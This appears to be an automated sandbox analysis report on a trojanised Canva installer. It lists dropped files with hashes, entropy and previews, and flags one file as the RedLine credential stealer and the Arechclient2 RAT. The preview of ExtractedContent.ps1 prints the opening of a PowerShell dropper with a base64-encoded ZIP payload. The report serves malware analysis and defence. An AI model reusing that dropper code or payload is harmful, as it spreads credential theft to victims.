Entropy (8bit):	6.364537003040197
Encrypted:	false
SSDEEP:	49152:YL1wrvfRIQkXfBe1IlA8gE+LGHEYXb3GNfsUd9QjqZztkJCP1pSN6WxHEmp+DnnV:81w7weOqiFIYBgTE
MD5:	8FE00EBE76542263463877F27417EC61
SHA1:	763502E57A3C4FBE5FC25EE7E9C942D94505D244
SHA-256:	46AFB1ED7AB1B1A679E00784B2E78CC2358CEC615553699624FF77882F55787B
SHA-512:	62B375B40EEDF04D03D8465570634B56D529E9525BD6D81BE94B40C7DA21CCCAA808BE97649F9404DED9EDD5CE129F9FB1D462C6A1986A25FA8A228857CDA5A2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." .....n@...........:.......................................R...........`A.........................................sL.......L.P.....Q......0P..^............R.t~...0L.....................x/L.(...@.@.@........... .L.P............................text....m@......n@................. ..`.rdata........@......r@.............@..@.data........pM......ZM.............@....pdata...^...0P..`....N.............@..@.gxfg....-....Q......TP.............@..@.retplne......Q.......P..................tls....Y.....Q.......P.............@..._RDATA..\.....Q.......P.............@..@.rsrc.........Q.......P.............@..@.reloc..t~....R.......P.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\vk_swiftshader_icd.json (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	JSON data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	4.724752649036734
Encrypted:	false
SSDEEP:	3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
MD5:	8642DD3A87E2DE6E991FAE08458E302B
SHA1:	9C06735C31CEC00600FD763A92F8112D085BD12A
SHA-256:	32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
SHA-512:	F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
Malicious:	false
Preview:	{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

C:\Program Files (x86)\Canva\vulkan-1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	954368
Entropy (8bit):	6.588968362833733
Encrypted:	false
SSDEEP:	24576:CkMYSDIukxvnwhdzY96Z5WiDYsH56g3P0zAk7lE1:Cku0fwhC96Z5WiDYsH56g3P0zAk7l
MD5:	D8F31216785E204DA9BAD10E9F3734B7
SHA1:	BE7F53566DBAEC5DBE61AFC76BF7401CFC42EF08
SHA-256:	FA6B4E20EB448746E2EFF9A7FDE7A62585E371F3497A6A928EADE0A8CE8C1A9F
SHA-512:	D7EF5EF7ED9B5559E107369849ADCD18FB9C9C3A90033731A46C4B5D3BA431582936E54E5B5918CE19A667B3F1EB369A93BC3F9A03DF8E5397E5F80DC21A61A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......................................................... ............`A............................................<!...3..P............ ..Xq..............(...,...........................(...@...@............8...............................text...{........................... ..`.rdata..............................@..@.data...pL......."..................@....pdata..Xq... ...r..................@..@.gxfg...P).......*...N..............@..@.retplne.............x...................tls.................z..............@..._RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..(...........................@..B........................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7548815576547433
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqd:2JIB/wUKUKQncEmYRTwh00
MD5:	71544A8C341516D848F349A909DFFC4B
SHA1:	C4F47F937209021ABC3C4553EAFBC20AB46C3A14
SHA-256:	9B9D139CD0193A90918A41DECA02EA7A121140F396B66DEB8840EB02AC2C6FAC
SHA-512:	989F27A29940FA81C30AB4B5EAFFFF264BE17B38291C8CA2DBDFD35C3191D9DF693DBB22EF5DE298E717923C5FEF87635112B4E8F9329605A4DE1F941035730A
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xce526e51, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900098901653357
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	F8D346A547883F982015233734352ACB
SHA1:	2620762DA3599A3B2188BB1B2FC54CBBF4C73D6D
SHA-256:	D8261BFAFEF422BE9688AA0FA5D3A4B945812F903B7C86C05A771FC0DF965B66
SHA-512:	DFFCC11E72AB0677FCA987B28980FFBFDD0CB0F9ADB86364AD292FF1DC8E7797E014D7FD210C95990BB016D623E531538D8E70FC8CD05A452AF43EE072474A9A
Malicious:	false
Preview:	.RnQ... ...............X\...;...{......................0.`.....42...{5.#....\|..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................FC..#....\|....................MB#....\|...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08188868356239457
Encrypted:	false
SSDEEP:	3:XmtlEYex+Zcoqt/57Dek3JI6IuZc1allEqW3l/TjzzQ/t:SlEzxmcFR3tIRWcQmd8/
MD5:	D8524D8C59FC22774C20EDB668B83ABA
SHA1:	666F52443B0EEDEC9910CAF1511FA38E9E07E74F
SHA-256:	2F47DBC51533349224911E60DD2F18A2B503E6C8C7A5F0F81682B867FD6AA6D6
SHA-512:	8BDBA9410F8EA9F41206F5C4B43994B83FCBCF93B03725C06E5C1F0980FA087F03F9F4A14ADC791B8E11C139FE2C6A41D40DDBA843D42D74D7B1117EE9E577A9
Malicious:	false
Preview:	..r9.....................................;...{..#....\|..42...{5.........42...{5.42...{5...Y.42...{59..................MB#....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Canva\Canva.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Nov 28 08:04:51 2024, mtime=Thu Nov 28 08:04:59 2024, atime=Sun Oct 13 22:12:00 2024, length=176670344, window=hide
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	4.594786145372068
Encrypted:	false
SSDEEP:	24:8myW1DsJE+0dOEa/El7x9CcQlFAg4Md1lylEgd1lLSlffUUkLdfpfUwqygm:8myW1v+0dOHk7XCxugJdv2TdvLWfMxhE
MD5:	CE9D04EB180EFD5DD230E92B3253E1E5
SHA1:	EC503A606A7FAD6088FF0EB2A3DFD742A0145391
SHA-256:	6F1549020C5199A6A2FD01ADD1442EF6088D4F5B1D874F68FF48FC58CAED3285
SHA-512:	D53A0BB8C4EBDCF43B8C7DD5E51323845229272703B74933B0134E32DEE06A6F08FED99E7321A00E87A5A5AEFACBE3A91F7D5E68207A3DF486A7D30BDB840757
Malicious:	false
Preview:	L..................F.... ...N.O.tA..`3.tA....zN...........................s....P.O. .:i.....+00.../C:\.....................1.....\|Y.H..PROGRA~2.........O.I\|Y.H....................V.......-.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....P.1.....\|Y.H..Canva.<......\|Y.H\|Y.H..........................8...C.a.n.v.a.....\.2....MY.. .Canva.exe.D......\|Y.H\|Y.H....X.........................C.a.n.v.a...e.x.e.......U...............-.......T............r.......C:\Program Files (x86)\Canva\Canva.exe..5.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.a.n.v.a.\.C.a.n.v.a...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.a.n.v.a.".%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.C.a.n.v.a.\.p.1.0.3...i.c.o.........*................@Z\|...K.J.........`.......X.......116938...........hT..CrF.f4... ..m.g....,......hT..CrF.f4... ..m.g....,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.361827289088002
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAq1KDLI4M0kvoDLI4MWuCv:ML9E4KH1qE4jE4Ks
MD5:	812F0A8C671812AA613FC139B69E8614
SHA1:	B4177437C50B25B06FB885362DA36FD171A1C5A9
SHA-256:	6D3DF2C3EA20D3A411078200AFA62DAC6AABA4210C83A2186E80195977BF0F89
SHA-512:	6A82C1F195C66FCC0533B20B8AE9B4F9CEBED6C8D7B450C574E864A60D627F3ABE32081BF65822157716F4672180E19C0DFA91D88663F7FC3CBE7FD0EB36B2EA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	5.480408899621245
Encrypted:	false
SSDEEP:	48:jIWSU4xympjmZ9tz4RIoUeNWR831NFZ9001dqr:0LHxvMZfIfjW8fS01Yr
MD5:	1691986686AB58606A00CE11CFB87691
SHA1:	FEE5FDA79974A5AFA8A6FC53C4497E7AA90DAE04
SHA-256:	499A709687A016FC2BDA34B74EA6EB494EFFC97CA418D6F95B55E3A436BBFC36
SHA-512:	A44618DD8F3BBE02B4E7978B55B8868031CE4963A89A6E8CFE31699C4A65B94441D3EEE2F5582F2759735599EF82C85E4C79390687AA57CCB438F664720E9735
Malicious:	false
Preview:	@...e...........K.....................-.;.......................P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xmze1c0.4bb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4w4mo3pv.20s.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h12oippu.knp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ygwamqjd.pz5.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dac5e65e

Download File

Process:	C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe
File Type:	PNG image data, 3648 x 956, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1648895
Entropy (8bit):	7.994382883609411
Encrypted:	true
SSDEEP:	24576:W9yYfRKmos6zoFul5gfg514mrKyAenm8KAdi5TdVJENDH3dV4qP9k3jqV6ivJ4:cyYfdosyoFulxTrOMd9NT3dO6eP84
MD5:	9E31991A93A6C781884E89A8572F5EA0
SHA1:	4B83364234B879525CE91BBAA5226E91749491ED
SHA-256:	ECB718AF37EC5B9C8B6A1F5AA535DF409CAD971852B01DA72DFA3950DD51693A
SHA-512:	1D8DA914FE1F7A164696B52B4D1FAB12BB4DEFE0E09C94F862EDAD3E2BD7727A5004DF362280CA47B7CC8A1CA6C8D3EC39A6B4D90E77779CE609C35E004E436F
Malicious:	false
Preview:	.PNG........IHDR...@.........$..p.. .IDATx..;.$..z.....{-..._...F....!.....(....C...l.V......=.HSC.JBw.+_q....y""......;~._?.3+.z0..........+A........:.m........h.a.._7.....R.[.s..i..u......G..!..B...G8.3.h...0..G...G..........,......r).......x)rw)%.,K.....\JkM....g..<.....])..R.e.m.Bp..K1.....]..+....u..8.\|].d.....A..X...........=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@.......o..7~.#B_.c...V..D.4..}..............!.R.8....?..0.p.... A...M6.>..H.],.L-4.....,_..\|.g...#..+...cxX>h..J1..tY.j!.cT.}'..a............W..N......?cl.'..?....\|K...3....&.8.GfN..%.>K..\|.mK@K...N.....$_*...D..&.I>8H.RxJTZ.2..p.\|)....U.gwl1....v.....Dx....... p......=.T./.J\|....>$.o..'.d_......o'..&.R.=......B.@e..}.w..7..G...(.. C.......T......#.......%.}..4.y....0.o..Bx.....>0.7.

C:\Users\user\AppData\Local\Temp\dbeff038

Download File

Process:	C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe
File Type:	data
Category:	modified
Size (bytes):	1518200
Entropy (8bit):	7.7498535769008905
Encrypted:	false
SSDEEP:	24576:06Y7c9FWJDpUT8biDKXS8vGa0uWp3EUEXjU8o7AKmyGHHeZ1qm1q02kZq:0jgAJHbIASFa01p3fgjU8ibXIeZYaxZq
MD5:	D757D4A1E0635D36DADCCE17D455E32A
SHA1:	A74DD7AEAECDF109AA1CD070DF29C3389283684F
SHA-256:	8071C6E5E53E90E94FA3D1763CD66A6E87AD71672B77AAB5D2B73954997547D7
SHA-512:	5E3A6AA4EECA2577FCDACC09A4DB1B2C0692135C5594197DF79EE05012BF273842B570A45DE03A2127EC4CD6728335D4E14DA28B2F3789C72662897173D0ADEC
Malicious:	false
Preview:	b...`...a...a...`...E...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...D..%..D.........6......2...............2......a...a...a...a...a...a...a...a...a...a...a...".........$...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...".....(.......a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...D..%...=.........$.........a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a.......O...S...a...a...a...a...a...a...a...a...a...a...

C:\Users\user\AppData\Local\Temp\f0a9efc8

Download File

Process:	C:\Users\user\AppData\Roaming\sto\coml.exe
File Type:	PNG image data, 3648 x 956, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1648895
Entropy (8bit):	7.994382883609411
Encrypted:	true
SSDEEP:	24576:W9yYfRKmos6zoFul5gfg514mrKyAenm8KAdi5TdVJENDH3dV4qP9k3jqV6ivJ4:cyYfdosyoFulxTrOMd9NT3dO6eP84
MD5:	9E31991A93A6C781884E89A8572F5EA0
SHA1:	4B83364234B879525CE91BBAA5226E91749491ED
SHA-256:	ECB718AF37EC5B9C8B6A1F5AA535DF409CAD971852B01DA72DFA3950DD51693A
SHA-512:	1D8DA914FE1F7A164696B52B4D1FAB12BB4DEFE0E09C94F862EDAD3E2BD7727A5004DF362280CA47B7CC8A1CA6C8D3EC39A6B4D90E77779CE609C35E004E436F
Malicious:	false
Preview:	.PNG........IHDR...@.........$..p.. .IDATx..;.$..z.....{-..._...F....!.....(....C...l.V......=.HSC.JBw.+_q....y""......;~._?.3+.z0..........+A........:.m........h.a.._7.....R.[.s..i..u......G..!..B...G8.3.h...0..G...G..........,......r).......x)rw)%.,K.....\JkM....g..<.....])..R.e.m.Bp..K1.....]..+....u..8.\|].d.....A..X...........=.^ `..d....;.nH..\|k..3..}......'Ts.....D....C..h.{......$.}w.np..h.n1..U9\F..<[...J..\..............c..f.6.g.o......$.1..^z)..8..c$./.\|3...s.9..&.\|...r....L.q..I~{)..>.uw..oY.d../..ksw..P..p.]....T.K1.R..i.........I.9B.....D@@.......o..7~.#B_.c...V..D.4..}..............!.R.8....?..0.p.... A...M6.>..H.],.L-4.....,_..\|.g...#..+...cxX>h..J1..tY.j!.cT.}'..a............W..N......?cl.'..?....\|K...3....&.8.GfN..%.>K..\|.mK@K...N.....$_*...D..&.I>8H.RxJTZ.2..p.\|)....U.gwl1....v.....Dx....... p......=.T./.J\|....>$.o..'.d_......o'..&.R.=......B.@e..}.w..7..G...(.. C.......T......#.......%.}..4.y....0.o..Bx.....>0.7.

C:\Users\user\AppData\Local\Temp\f130f6ba

Download File

Process:	C:\Users\user\AppData\Roaming\sto\coml.exe
File Type:	data
Category:	modified
Size (bytes):	1518200
Entropy (8bit):	7.749840973843299
Encrypted:	false
SSDEEP:	24576:46Y7c9FWJDpUT8biDKXS8vGa0uWp3EUEXjU8o7AKmyGHHeZ1qm1q02kZq:4jgAJHbIASFa01p3fgjU8ibXIeZYaxZq
MD5:	5F5634F559FAFCF2CEEDFDF3D9F60B78
SHA1:	912AFEB7FB601CB8E3EC23C42EEE80A1E73F520A
SHA-256:	E4687401866D33AD27EF62978397C5848C7FB6FD3CCF57FFFF79E9C764B2CA50
SHA-512:	454F64346A592D81723CFBF9266FD52CC3468C9FAC9AC557CF06D1C5AF98B9526EFA74FD5005E234AF9307312872A64DE04F449B07C2561CCE216781D8506F5B
Malicious:	false
Preview:	b...`...a...a...`...E...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...D..%..D.........6......2...............2......a...a...a...a...a...a...a...a...a...a...a...".........$...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...".....(.......a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...D..%...=.........$.........a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a.......O...S...a...a...a...a...a...a...a...a...a...a...

C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	786944
Entropy (8bit):	6.80933482022886
Encrypted:	false
SSDEEP:	12288:uvsXZv8km0OHcbGbvzWHz0HnquwMr+g0ssFWylkkoAbtEgIwfNqbYS2VbICKMIUx:ZfPz0HvSg0ssFlSjBcT
MD5:	2B209F07C6251E367835FBF30E7C348E
SHA1:	CD5534D4871AEBA9351941CF548B2E63F492A609
SHA-256:	A499ADF007DF84FC58178A1FD861138C078731760BEA948501259C8E83E19783
SHA-512:	95FE64D09AD91A8DB600969279834E8EF6BBC2371FE3AFDD3D88F351CDDC858A4B247BCBAE1D4351914E0AB720D9372E342E2513C68D64086AFC7C388FC0678D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text, with very long lines (65346), with CRLF line terminators
Category:	modified
Size (bytes):	5758007
Entropy (8bit):	5.998461064087755
Encrypted:	false
SSDEEP:	49152:RjDXnnY5HU7UJYbrLoyHujBrHU1e6Ceihueu8JxQjZjJzHN5v/H79Ibt7rMnuwTK:M
MD5:	F7E2624867775590018CE9586AC1D4A8
SHA1:	6E2E80D1BDE207734647B48D71DC483FF56A29A1
SHA-256:	0547B50B9070C88C19D054D1D2F084F72FE3717BE07265AF0EA4CE87FFD8EBC5
SHA-512:	FA8312DBAC3B24F3D8D09576084F04E7289F2878BD5B4157328FC51259CA918A8874FA1E60B0F095634ABE2F86A64941C74F702FFB52ED80C0310D8622297C2E
Malicious:	false
Preview:	$ErrorActionPreference = "Stop";..Set-Location $Env:AppData;..$installPath = "$Env:AppData\SystemUtil";..if (Test-Path $installPath) {.. Remove-Item "$Env:AppData\tempD.txt";.. Exit;..};..$encodedData = "UEsDBBQAAAAIACQWeFmkiidUYOJBAFhYmgAIAAAAZG9iaS5leGXMXHlwG9d5/7AAiIMUBR4jsZ44gVPLlo/StERRtGyrAC+REo81CYKM01iEiAUJEwSQxcKiWo/FJJ2OqqYO4yYtY7sx08aNZtrJsMdMOJ2xh+1fGtcHU49b9cgM3ak99kzbMEnTKIeDvrf7rj0AgqR8vBlpv33f937f8c7d/cChh2WQAMAD+6FUAlgDo0TgJti2uAD+NgT1n/ibwCu3rLkGX7llaSk2my6E82puRk3Mh+eLBS18TgmrxWy4mE0qangine1o3xe89Th8RIrcC5D8nVoIvNA0Q+u24JNQK/mRc48APHq/Xhd6/DPoP9AjY1QA4MB5QWL/9LL5LA4mfKP5GVQz5TIEeTN2HwYw1bTNwXP4uv4o3DqI+UUY+87t6JqH2RICPPw0TLah+qk56H/RA2WLPAeHHaonX38Uthqwsjmob7TzWzVlQUPXb649YhiEfbeoQSZPtSYTWgLRy5cDABtI5ovo+uIjRIK5ut56rlDQ9U6iuEzNQpmy3po2AG8dNHyHYXQ9PWvHSxqC9Y2GD9CMjXCQU3QxI5Yopnq3/IVNLtKqZXT7ljA/MgdlynqrauDNgxFbHe/bDniqkslNA3S+6NH7CNbRddUm19WaN/D0PkV9i0cQ5Ocd8AoqgiNjoIgmJrrmVZucqSL028Y1/rnKckLxhwyW29eVy2WURNYFxsQGIBxvXyJTUDwxtajUjF0oaMq8HjLClfzRbCHdPZtQ9TYlY1agEBB+wI

C:\Users\user\AppData\Local\Temp\is-6VQJV.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
